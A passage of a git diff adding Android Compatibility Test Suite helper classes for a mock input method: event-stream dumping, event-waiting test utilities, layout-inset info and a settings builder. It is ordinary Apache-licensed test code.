+ final String indentation = getWhiteSpaces(event.getNestLevel() * 2 + 2);
+ final long wallTime =
+ fused ? event.getEnterWallTime() :
+ event.isEnterEvent() ? event.getEnterWallTime() : event.getExitWallTime();
+ sb.append(sSimpleDateTimeFormatter.format(Instant.ofEpochMilli(wallTime)))
+ .append(" ")
+ .append(String.format("%5d", event.getThreadId()))
+ .append(indentation);
+ sb.append(fused ? "" : event.isEnterEvent() ? "[" : "]");
+ if (fused || event.isEnterEvent()) {
+ sb.append(event.getEventName())
+ .append(':')
+ .append(" args=");
+ dumpBundle(sb, event.getArguments());
+ }
+ sb.append('\n');
+ }
+
+ /**
+ * @return Debug info as a {@link String}.
+ */
+ public String dump() {
+ final ImeEventArray latest = mEventSupplier.get();
+ final StringBuilder sb = new StringBuilder();
+ sb.append("ImeEventStream:\n");
+ sb.append(" latest: array[").append(latest.mArray.length).append("] + {\n");
+ for (int i = 0; i < latest.mLength; ++i) {
+ // To compress the dump message, if the current event is an enter event and the next
+ // one is a corresponding exit event, we unify the output.
+ final boolean fused = areEnterExitPairedMessages(latest, i);
+ if (i == mCurrentPosition || (fused && ((i + 1) == mCurrentPosition))) {
+ sb.append(" ======== CurrentPosition ======== \n");
+ }
+ dumpEvent(sb, latest.mArray[fused ? ++i : i], fused);
+ }
+ if (mCurrentPosition >= latest.mLength) {
+ sb.append(" ======== CurrentPosition ======== \n");
+ }
+ sb.append("}\n");
+ return sb.toString();
+ }
+
+ /**
+ * @param array event array to be checked
+ * @param i index to be checked
+ * @return {@code true} if {@code array.mArray[i]} and {@code array.mArray[i + 1]} are two
+ * paired events.
+ */
+ private static boolean areEnterExitPairedMessages(@NonNull ImeEventArray array,
+ @IntRange(from = 0) int i) {
+ return array.mArray[i] != null
+ && array.mArray[i].isEnterEvent()
+ && (i + 1) < array.mLength
+ && array.mArray[i + 1] != null
+ && array.mArray[i].getEventName().equals(array.mArray[i + 1].getEventName())
+ && array.mArray[i].getEnterTimestamp() == array.mArray[i + 1].getEnterTimestamp();
+ }
+
+ /**
+ * @param length length of the requested white space string
+ * @return {@link String} object whose length is {@code length}
+ */
+ private static String getWhiteSpaces(@IntRange(from = 0) final int length) {
+ if (length < LONG_LONG_SPACES.length()) {
+ return LONG_LONG_SPACES.substring(0, length);
+ }
+ final char[] indentationChars = new char[length];
+ Arrays.fill(indentationChars, ' ');
+ return new String(indentationChars);
+ }
+
+ private static void dumpBundle(@NonNull StringBuilder sb, @NonNull Bundle bundle) {
+ sb.append('{');
+ boolean first = true;
+ for (String key : bundle.keySet()) {
+ if (first) {
+ first = false;
+ } else {
+ sb.append(' ');
+ }
+ final Object object = bundle.get(key);
+ sb.append(key);
+ sb.append('=');
+ if (object instanceof EditorInfo) {
+ final EditorInfo info = (EditorInfo) object;
+ sb.append("EditorInfo{packageName=").append(info.packageName);
+ sb.append(" fieldId=").append(info.fieldId);
+ sb.append(" hintText=").append(info.hintText);
+ sb.append(" privateImeOptions=").append(info.privateImeOptions);
+ sb.append("}");
+ } else {
+ sb.append(object);
+ }
+ }
+ sb.append('}');
+ }
+
+ static class ImeEventArray {
+ @NonNull
+ public final ImeEvent[] mArray;
+ public final int mLength;
+ ImeEventArray(ImeEvent[] array, int length) {
+ mArray = array;
+ mLength = length;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
new file mode 100644
index 0000000..075ae78
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.os.SystemClock;
+import android.support.annotation.NonNull;
+import android.text.TextUtils;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputBinding;
+
+import java.util.Optional;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
+
+/**
+ * A set of utility methods to avoid boilerplate code when writing end-to-end tests.
+ */
+public final class ImeEventStreamTestUtils {
+ private static final long TIME_SLICE = 50; // msec
+
+ /**
+ * Cannot be instantiated
+ */
+ private ImeEventStreamTestUtils() {}
+
+ /**
+ * Behavior mode of {@link #expectEvent(ImeEventStream, Predicate, EventFilterMode, long)}
+ */
+ public enum EventFilterMode {
+ /**
+ * All {@link ImeEvent} events should be checked
+ */
+ CHECK_ALL,
+ /**
+ * Only events that return {@code true} from {@link ImeEvent#isEnterEvent()} should be
+ * checked
+ */
+ CHECK_ENTER_EVENT_ONLY,
+ /**
+ * Only events that return {@code false} from {@link ImeEvent#isEnterEvent()} should be
+ * checked
+ */
+ CHECK_EXIT_EVENT_ONLY,
+ }
+
+ /**
+ * Wait until an event that matches the given {@code condition} is found in the stream.
+ *
+ * <p>When this method succeeds to find an event that matches the given {@code condition}, the
+ * stream position will be set to the next to the found object then the event found is returned.
+ * </p>
+ *
+ * <p>For convenience, this method automatically filter out exit events (events that return
+ * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
+ *
+ * <p>TODO: Consider renaming this to {@code expectEventEnter} or something like that.</p>
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param condition the event condition to be matched
+ * @param timeout timeout in millisecond
+ * @return {@link ImeEvent} found
+ * @throws TimeoutException when the no event is matched to the given condition within
+ * {@code timeout}
+ */
+ @NonNull
+ public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
+ @NonNull Predicate<ImeEvent> condition, long timeout) throws TimeoutException {
+ return expectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
+ }
+
+ /**
+ * Wait until an event that matches the given {@code condition} is found in the stream.
+ *
+ * <p>When this method succeeds to find an event that matches the given {@code condition}, the
+ * stream position will be set to the next to the found object then the event found is returned.
+ * </p>
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param condition the event condition to be matched
+ * @param filterMode controls how events are filtered out
+ * @param timeout timeout in millisecond
+ * @return {@link ImeEvent} found
+ * @throws TimeoutException when the no event is matched to the given condition within
+ * {@code timeout}
+ */
+ @NonNull
+ public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
+ @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout)
+ throws TimeoutException {
+ try {
+ Optional<ImeEvent> result;
+ while (true) {
+ if (timeout < 0) {
+ throw new TimeoutException(
+ "event not found within the timeout: " + stream.dump());
+ }
+ final Predicate<ImeEvent> combinedCondition;
+ switch (filterMode) {
+ case CHECK_ALL:
+ combinedCondition = condition;
+ break;
+ case CHECK_ENTER_EVENT_ONLY:
+ combinedCondition = event -> event.isEnterEvent() && condition.test(event);
+ break;
+ case CHECK_EXIT_EVENT_ONLY:
+ combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
+ break;
+ default:
+ throw new IllegalArgumentException("Unknown filterMode " + filterMode);
+ }
+ result = stream.seekToFirst(combinedCondition);
+ if (result.isPresent()) {
+ break;
+ }
+ Thread.sleep(TIME_SLICE);
+ timeout -= TIME_SLICE;
+ }
+ final ImeEvent event = result.get();
+ if (event == null) {
+ throw new NullPointerException("found event is null: " + stream.dump());
+ }
+ stream.skip(1);
+ return event;
+ } catch (InterruptedException e) {
+ throw new RuntimeException("expectEvent failed: " + stream.dump(), e);
+ }
+ }
+
+ /**
+ * Checks if {@param eventName} has occurred on the EditText(or TextView) of the current
+ * activity.
+ * @param eventName event name to check
+ * @param marker Test marker set to {@link android.widget.EditText#setPrivateImeOptions(String)}
+ * @return true if event occurred.
+ */
+ public static Predicate<ImeEvent> editorMatcher(
+ @NonNull String eventName, @NonNull String marker) {
+ return event -> {
+ if (!TextUtils.equals(eventName, event.getEventName())) {
+ return false;
+ }
+ final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+ return TextUtils.equals(marker, editorInfo.privateImeOptions);
+ };
+ }
+
+ /**
+ * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
+ * activity.
+ * @param eventName event name to check
+ * @param fieldId typically same as {@link android.view.View#getId()}.
+ * @return true if event occurred.
+ */
+ public static Predicate<ImeEvent> editorMatcher(@NonNull String eventName, int fieldId) {
+ return event -> {
+ if (!TextUtils.equals(eventName, event.getEventName())) {
+ return false;
+ }
+ final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+ return fieldId == editorInfo.fieldId;
+ };
+ }
+
+ /**
+ * Wait until an event that matches the given command is consumed by the {@link MockIme}.
+ *
+ * <p>For convenience, this method automatically filter out enter events (events that return
+ * {@code true} from {@link ImeEvent#isEnterEvent()}.</p>
+ *
+ * <p>TODO: Consider renaming this to {@code expectCommandConsumed} or something like that.</p>
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param command {@link ImeCommand} to be waited for.
+ * @param timeout timeout in millisecond
+ * @return {@link ImeEvent} found
+ * @throws TimeoutException when the no event is matched to the given condition within
+ * {@code timeout}
+ */
+ @NonNull
+ public static ImeEvent expectCommand(@NonNull ImeEventStream stream,
+ @NonNull ImeCommand command, long timeout) throws TimeoutException {
+ final Predicate<ImeEvent> predicate = event -> {
+ if (!TextUtils.equals("onHandleCommand", event.getEventName())) {
+ return false;
+ }
+ final ImeCommand eventCommand =
+ ImeCommand.fromBundle(event.getArguments().getBundle("command"));
+ return eventCommand.getId() == command.getId();
+ };
+ return expectEvent(stream, predicate, EventFilterMode.CHECK_EXIT_EVENT_ONLY, timeout);
+ }
+
+ /**
+ * Assert that an event that matches the given {@code condition} will no be found in the stream
+ * within the given {@code timeout}.
+ *
+ * <p>When this method succeeds, the stream position will not change.</p>
+ *
+ * <p>For convenience, this method automatically filter out exit events (events that return
+ * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
+ *
+ * <p>TODO: Consider renaming this to {@code notExpectEventEnter} or something like that.</p>
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param condition the event condition to be matched
+ * @param timeout timeout in millisecond
+ * @throws AssertionError if such an event is found within the given {@code timeout}
+ */
+ public static void notExpectEvent(@NonNull ImeEventStream stream,
+ @NonNull Predicate<ImeEvent> condition, long timeout) {
+ notExpectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
+ }
+
+ /**
+ * Assert that an event that matches the given {@code condition} will no be found in the stream
+ * within the given {@code timeout}.
+ *
+ * <p>When this method succeeds, the stream position will not change.</p>
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param condition the event condition to be matched
+ * @param filterMode controls how events are filtered out
+ * @param timeout timeout in millisecond
+ * @throws AssertionError if such an event is found within the given {@code timeout}
+ */
+ public static void notExpectEvent(@NonNull ImeEventStream stream,
+ @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout) {
+ final Predicate<ImeEvent> combinedCondition;
+ switch (filterMode) {
+ case CHECK_ALL:
+ combinedCondition = condition;
+ break;
+ case CHECK_ENTER_EVENT_ONLY:
+ combinedCondition = event -> event.isEnterEvent() && condition.test(event);
+ break;
+ case CHECK_EXIT_EVENT_ONLY:
+ combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
+ break;
+ default:
+ throw new IllegalArgumentException("Unknown filterMode " + filterMode);
+ }
+ try {
+ while (true) {
+ if (timeout < 0) {
+ return;
+ }
+ if (stream.findFirst(combinedCondition).isPresent()) {
+ throw new AssertionError("notExpectEvent failed: " + stream.dump());
+ }
+ Thread.sleep(TIME_SLICE);
+ timeout -= TIME_SLICE;
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
+ }
+ }
+
+ /**
+ * A specialized version of {@link #expectEvent(ImeEventStream, Predicate, long)} to wait for
+ * {@link android.view.inputmethod.InputMethod#bindInput(InputBinding)}.
+ *
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param targetProcessPid PID to be matched to {@link InputBinding#getPid()}
+ * @param timeout timeout in millisecond
+ * @throws TimeoutException when "bindInput" is not called within {@code timeout} msec
+ */
+ public static void expectBindInput(@NonNull ImeEventStream stream, int targetProcessPid,
+ long timeout) throws TimeoutException {
+ expectEvent(stream, event -> {
+ if (!TextUtils.equals("bindInput", event.getEventName())) {
+ return false;
+ }
+ final InputBinding binding = event.getArguments().getParcelable("binding");
+ return binding.getPid() == targetProcessPid;
+ }, EventFilterMode.CHECK_EXIT_EVENT_ONLY, timeout);
+ }
+
+ /**
+ * Waits until {@code MockIme} does not send {@code "onInputViewLayoutChanged"} event
+ * for a certain period of time ({@code stableThresholdTime} msec).
+ *
+ * <p>When this returns non-null {@link ImeLayoutInfo}, the stream position will be set to
+ * the next event of the returned layout event. Otherwise this method does not change stream
+ * position.</p>
+ * @param stream {@link ImeEventStream} to be checked.
+ * @param stableThresholdTime threshold time to consider that {@link MockIme}'s layout is
+ * stable, in millisecond
+ * @return last {@link ImeLayoutInfo} if {@link MockIme} sent one or more
+ * {@code "onInputViewLayoutChanged"} event. Otherwise {@code null}
+ */
+ public static ImeLayoutInfo waitForInputViewLayoutStable(@NonNull ImeEventStream stream,
+ long stableThresholdTime) {
+ ImeLayoutInfo lastLayout = null;
+ final Predicate<ImeEvent> layoutFilter = event ->
+ !event.isEnterEvent() && event.getEventName().equals("onInputViewLayoutChanged");
+ try {
+ long deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
+ while (true) {
+ if (deadline < SystemClock.elapsedRealtime()) {
+ return lastLayout;
+ }
+ final Optional<ImeEvent> event = stream.seekToFirst(layoutFilter);
+ if (event.isPresent()) {
+ // Remember the last event and extend the deadline again.
+ lastLayout = ImeLayoutInfo.readFromBundle(event.get().getArguments());
+ deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
+ stream.skip(1);
+ }
+ Thread.sleep(TIME_SLICE);
+ }
+ } catch (InterruptedException e) {
+ throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
+ }
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java b/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
new file mode 100644
index 0000000..6156d16
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowInsets;
+
+/**
+ * A collection of layout-related information when
+ * {@link View.OnLayoutChangeListener#onLayoutChange(View, int, int, int, int, int, int, int, int)}
+ * is called back for the input view (the view returned from {@link MockIme#onCreateInputView()}).
+ */
+public final class ImeLayoutInfo {
+
+ private static final String NEW_LAYOUT_KEY = "newLayout";
+ private static final String OLD_LAYOUT_KEY = "oldLayout";
+ private static final String VIEW_ORIGIN_ON_SCREEN_KEY = "viewOriginOnScreen";
+ private static final String DISPLAY_SIZE_KEY = "displaySize";
+ private static final String SYSTEM_WINDOW_INSET_KEY = "systemWindowInset";
+ private static final String STABLE_INSET_KEY = "stableInset";
+
+ @NonNull
+ private final Rect mNewLayout;
+ @NonNull
+ private final Rect mOldLayout;
+ @Nullable
+ private Point mViewOriginOnScreen;
+ @Nullable
+ private Point mDisplaySize;
+ @Nullable
+ private Rect mSystemWindowInset;
+ @Nullable
+ private Rect mStableInset;
+
+ /**
+ * Returns the bounding box of the {@link View} passed to
+ * {@link android.inputmethodservice.InputMethodService#onCreateInputView()} in screen
+ * coordinates.
+ *
+ * <p>Currently this method assumes that no {@link View} in the hierarchy uses
+ * transformations such as {@link View#setRotation(float)}.</p>
+ *
+ * @return Region in screen coordinates.
+ */
+ @Nullable
+ public Rect getInputViewBoundsInScreen() {
+ return new Rect(
+ mViewOriginOnScreen.x, mViewOriginOnScreen.y,
+ mViewOriginOnScreen.x + mNewLayout.width(),
+ mViewOriginOnScreen.y + mNewLayout.height());
+ }
+
+ /**
+ * Returns the screen area in screen coordinates that does not overlap with the system
+ * window inset, which represents the area of a full-screen window that is partially or
+ * fully obscured by the status bar, navigation bar, IME or other system windows.
+ *
+ * <p>May return {@code null} when this information is not yet ready.</p>
+ *
+ * @return Region in screen coordinates. {@code null} when it is not available
+ *
+ * @see WindowInsets#hasSystemWindowInsets()
+ * @see WindowInsets#getSystemWindowInsetBottom()
+ * @see WindowInsets#getSystemWindowInsetLeft()
+ * @see WindowInsets#getSystemWindowInsetRight()
+ * @see WindowInsets#getSystemWindowInsetTop()
+ */
+ @Nullable
+ public Rect getScreenRectWithoutSystemWindowInset() {
+ if (mDisplaySize == null) {
+ return null;
+ }
+ if (mSystemWindowInset == null) {
+ return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
+ }
+ return new Rect(mSystemWindowInset.left, mSystemWindowInset.top,
+ mDisplaySize.x - mSystemWindowInset.right,
+ mDisplaySize.y - mSystemWindowInset.bottom);
+ }
+
+ /**
+ * Returns the screen area in screen coordinates that does not overlap with the stable
+ * inset, which represents the area of a full-screen window that <b>may</b> be partially or
+ * fully obscured by the system UI elements.
+ *
+ * <p>May return {@code null} when this information is not yet ready.</p>
+ *
+ * @return Region in screen coordinates. {@code null} when it is not available
+ *
+ * @see WindowInsets#hasStableInsets()
+ * @see WindowInsets#getStableInsetBottom()
+ * @see WindowInsets#getStableInsetLeft()
+ * @see WindowInsets#getStableInsetRight()
+ * @see WindowInsets#getStableInsetTop()
+ */
+ @Nullable
+ public Rect getScreenRectWithoutStableInset() {
+ if (mDisplaySize == null) {
+ return null;
+ }
+ if (mStableInset == null) {
+ return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
+ }
+ return new Rect(mStableInset.left, mStableInset.top,
+ mDisplaySize.x - mStableInset.right,
+ mDisplaySize.y - mStableInset.bottom);
+ }
+
+ ImeLayoutInfo(@NonNull Rect newLayout, @NonNull Rect oldLayout,
+ @NonNull Point viewOriginOnScreen, @Nullable Point displaySize,
+ @Nullable Rect systemWindowInset, @Nullable Rect stableInset) {
+ mNewLayout = new Rect(newLayout);
+ mOldLayout = new Rect(oldLayout);
+ mViewOriginOnScreen = new Point(viewOriginOnScreen);
+ mDisplaySize = new Point(displaySize);
+ mSystemWindowInset = systemWindowInset;
+ mStableInset = stableInset;
+ }
+
+ void writeToBundle(@NonNull Bundle bundle) {
+ bundle.putParcelable(NEW_LAYOUT_KEY, mNewLayout);
+ bundle.putParcelable(OLD_LAYOUT_KEY, mOldLayout);
+ bundle.putParcelable(VIEW_ORIGIN_ON_SCREEN_KEY, mViewOriginOnScreen);
+ bundle.putParcelable(DISPLAY_SIZE_KEY, mDisplaySize);
+ bundle.putParcelable(SYSTEM_WINDOW_INSET_KEY, mSystemWindowInset);
+ bundle.putParcelable(STABLE_INSET_KEY, mStableInset);
+ }
+
+ static ImeLayoutInfo readFromBundle(@NonNull Bundle bundle) {
+ final Rect newLayout = bundle.getParcelable(NEW_LAYOUT_KEY);
+ final Rect oldLayout = bundle.getParcelable(OLD_LAYOUT_KEY);
+ final Point viewOrigin = bundle.getParcelable(VIEW_ORIGIN_ON_SCREEN_KEY);
+ final Point displaySize = bundle.getParcelable(DISPLAY_SIZE_KEY);
+ final Rect systemWindowInset = bundle.getParcelable(SYSTEM_WINDOW_INSET_KEY);
+ final Rect stableInset = bundle.getParcelable(STABLE_INSET_KEY);
+
+ return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
+ stableInset);
+ }
+
+ static ImeLayoutInfo fromLayoutListenerCallback(View v, int left, int top, int right,
+ int bottom, int oldLeft, int oldTop, int oldRight, int oldBottom) {
+ final Rect newLayout = new Rect(left, top, right, bottom);
+ final Rect oldLayout = new Rect(oldLeft, oldTop, oldRight, oldBottom);
+ final int[] viewOriginArray = new int[2];
+ v.getLocationOnScreen(viewOriginArray);
+ final Point viewOrigin = new Point(viewOriginArray[0], viewOriginArray[1]);
+ final Display display = v.getDisplay();
+ final Point displaySize;
+ if (display != null) {
+ displaySize = new Point();
+ display.getRealSize(displaySize);
+ } else {
+ displaySize = null;
+ }
+ final WindowInsets windowInsets = v.getRootWindowInsets();
+ final Rect systemWindowInset;
+ if (windowInsets != null && windowInsets.hasSystemWindowInsets()) {
+ systemWindowInset = new Rect(
+ windowInsets.getSystemWindowInsetLeft(), windowInsets.getSystemWindowInsetTop(),
+ windowInsets.getSystemWindowInsetRight(),
+ windowInsets.getSystemWindowInsetBottom());
+ } else {
+ systemWindowInset = null;
+ }
+ final Rect stableInset;
+ if (windowInsets != null && windowInsets.hasStableInsets()) {
+ stableInset = new Rect(
+ windowInsets.getStableInsetLeft(), windowInsets.getStableInsetTop(),
+ windowInsets.getStableInsetRight(), windowInsets.getStableInsetBottom());
+ } else {
+ stableInset = null;
+ }
+ return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
+ stableInset);
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java b/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
new file mode 100644
index 0000000..446483e
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.support.annotation.ColorInt;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+/**
+ * An immutable data store to control the behavior of {@link MockIme}.
+ */
+public class ImeSettings {
+
+ @NonNull
+ private final String mClientPackageName;
+
+ @NonNull
+ private final String mEventCallbackActionName;
+
+ private static final String EVENT_CALLBACK_INTENT_ACTION_KEY = "eventCallbackActionName";
+ private static final String DATA_KEY = "data";
+
+ private static final String BACKGROUND_COLOR_KEY = "BackgroundColor";
+ private static final String NAVIGATION_BAR_COLOR_KEY = "NavigationBarColor";
+ private static final String INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET =
+ "InputViewHeightWithoutSystemWindowInset";
+ private static final String WINDOW_FLAGS = "WindowFlags";
+ private static final String WINDOW_FLAGS_MASK = "WindowFlagsMask";
+ private static final String FULLSCREEN_MODE_ALLOWED = "FullscreenModeAllowed";
+ private static final String INPUT_VIEW_SYSTEM_UI_VISIBILITY = "InputViewSystemUiVisibility";
+ private static final String HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED =
+ "HardKeyboardConfigurationBehaviorAllowed";
+
+ @NonNull
+ private final PersistableBundle mBundle;
+
+ ImeSettings(@NonNull String clientPackageName, @NonNull Bundle bundle) {
+ mClientPackageName = clientPackageName;
+ mEventCallbackActionName = bundle.getString(EVENT_CALLBACK_INTENT_ACTION_KEY);
+ mBundle = bundle.getParcelable(DATA_KEY);
+ }
+
+ @Nullable
+ String getEventCallbackActionName() {
+ return mEventCallbackActionName;
+ }
+
+ @NonNull
+ String getClientPackageName() {
+ return mClientPackageName;
+ }
+
+ public boolean fullscreenModeAllowed(boolean defaultValue) {
+ return mBundle.getBoolean(FULLSCREEN_MODE_ALLOWED, defaultValue);
+ }
+
+ @ColorInt
+ public int getBackgroundColor(@ColorInt int defaultColor) {
+ return mBundle.getInt(BACKGROUND_COLOR_KEY, defaultColor);
+ }
+
+ public boolean hasNavigationBarColor() {
+ return mBundle.keySet().contains(NAVIGATION_BAR_COLOR_KEY);
+ }
+
+ @ColorInt
+ public int getNavigationBarColor() {
+ return mBundle.getInt(NAVIGATION_BAR_COLOR_KEY);
+ }
+
+ public int getInputViewHeightWithoutSystemWindowInset(int defaultHeight) {
+ return mBundle.getInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, defaultHeight);
+ }
+
+ public int getWindowFlags(int defaultFlags) {
+ return mBundle.getInt(WINDOW_FLAGS, defaultFlags);
+ }
+
+ public int getWindowFlagsMask(int defaultFlags) {
+ return mBundle.getInt(WINDOW_FLAGS_MASK, defaultFlags);
+ }
+
+ public int getInputViewSystemUiVisibility(int defaultFlags) {
+ return mBundle.getInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, defaultFlags);
+ }
+
+ public boolean getHardKeyboardConfigurationBehaviorAllowed(boolean defaultValue) {
+ return mBundle.getBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, defaultValue);
+ }
+
+ static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
+ @Nullable Builder builder) {
+ final Bundle result = new Bundle();
+ result.putString(EVENT_CALLBACK_INTENT_ACTION_KEY, eventCallbackActionName);
+ result.putParcelable(DATA_KEY, builder != null ? builder.mBundle : PersistableBundle.EMPTY);
+ return result;
+ }
+
+ /**
+ * The builder class for {@link ImeSettings}.
+ */
+ public static final class Builder {
+ private final PersistableBundle mBundle = new PersistableBundle();
+
+ /**
+ * Controls whether fullscreen mode is allowed or not.
+ *
+ * <p>By default, fullscreen mode is not allowed in {@link MockIme}.</p>
+ *
+ * @param allowed {@code true} if fullscreen mode is allowed
+ * @see MockIme#onEvaluateFullscreenMode()
+ */
+ public Builder setFullscreenModeAllowed(boolean allowed) {
+ mBundle.putBoolean(FULLSCREEN_MODE_ALLOWED, allowed);
+ return this;
+ }
+
+ /**
+ * Sets the background color of the {@link MockIme}.
+ * @param color background color to be used
+ */
+ public Builder setBackgroundColor(@ColorInt int color) {
+ mBundle.putInt(BACKGROUND_COLOR_KEY, color);
+ return this;
+ }
+
+ /**
+ * Sets the color to be passed to {@link android.view.Window#setNavigationBarColor(int)}.
+ *
+ * @param color color to be passed to {@link android.view.Window#setNavigationBarColor(int)}
+ * @see android.view.View
+ */
+ public Builder setNavigationBarColor(@ColorInt int color) {
+ mBundle.putInt(NAVIGATION_BAR_COLOR_KEY, color);
+ return this;
+ }
+
+ /**
+ * Sets the input view height measured from the bottom system window inset.
+ * @param height height of the soft input view. This does not include the system window
+ * inset such as navigation bar
+ */
+ public Builder setInputViewHeightWithoutSystemWindowInset(int height) {
+ mBundle.putInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, height);
+ return this;
+ }
+
+ /**
+ * Sets window flags to be specified to {@link android.view.Window#setFlags(int, int)} of
+ * the main {@link MockIme} window.
+ *
+ * <p>When {@link android.view.WindowManager.LayoutParams#FLAG_LAYOUT_IN_OVERSCAN} is set,
+ * {@link MockIme} tries to render the navigation bar by itself.</p>
+ *
+ * @param flags flags to be specified
+ * @param flagsMask mask bits that specify what bits need to be cleared before setting
+ * {@code flags}
+ * @see android.view.WindowManager
+ */
+ public Builder setWindowFlags(int flags, int flagsMask) {
+ mBundle.putInt(WINDOW_FLAGS, flags);
+ mBundle.putInt(WINDOW_FLAGS_MASK, flagsMask);
+ return this;
+ }
+
+ /**
+ * Sets flags to be specified to {@link android.view.View#setSystemUiVisibility(int)} of
+ * the main soft input view (the returned view from {@link MockIme#onCreateInputView()}).
+ *
+ * @param visibilityFlags flags to be specified
+ * @see android.view.View
+ */
+ public Builder setInputViewSystemUiVisibility(int visibilityFlags) {
+ mBundle.putInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, visibilityFlags);
+ return this;
+ }
+
+ /**
+ * Controls whether {@link MockIme} is allowed to change the behavior based on
+ * {@link android.content.res.Configuration#keyboard} and
+ * {@link android.content.res.Configuration#hardKeyboardHidden}.
+ *
+ * <p>Methods in {@link android.inputmethodservice.InputMethodService} such as
+ * {@link android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()} and
+ * {@link android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)}
+ * change their behaviors when a hardware keyboard is attached. This is confusing when
+ * writing tests so by default {@link MockIme} tries to cancel those behaviors. This
+ * settings re-enables such a behavior.</p>
+ *
+ * @param allowed {@code true} when {@link MockIme} is allowed to change the behavior when
+ * a hardware keyboard is attached
+ *
+ * @see android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()
+ * @see android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)
+ */
+ public Builder setHardKeyboardConfigurationBehaviorAllowed(boolean allowed) {
+ mBundle.putBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, allowed);
+ return this;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeState.java b/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
new file mode 100644
index 0000000..6147ea2
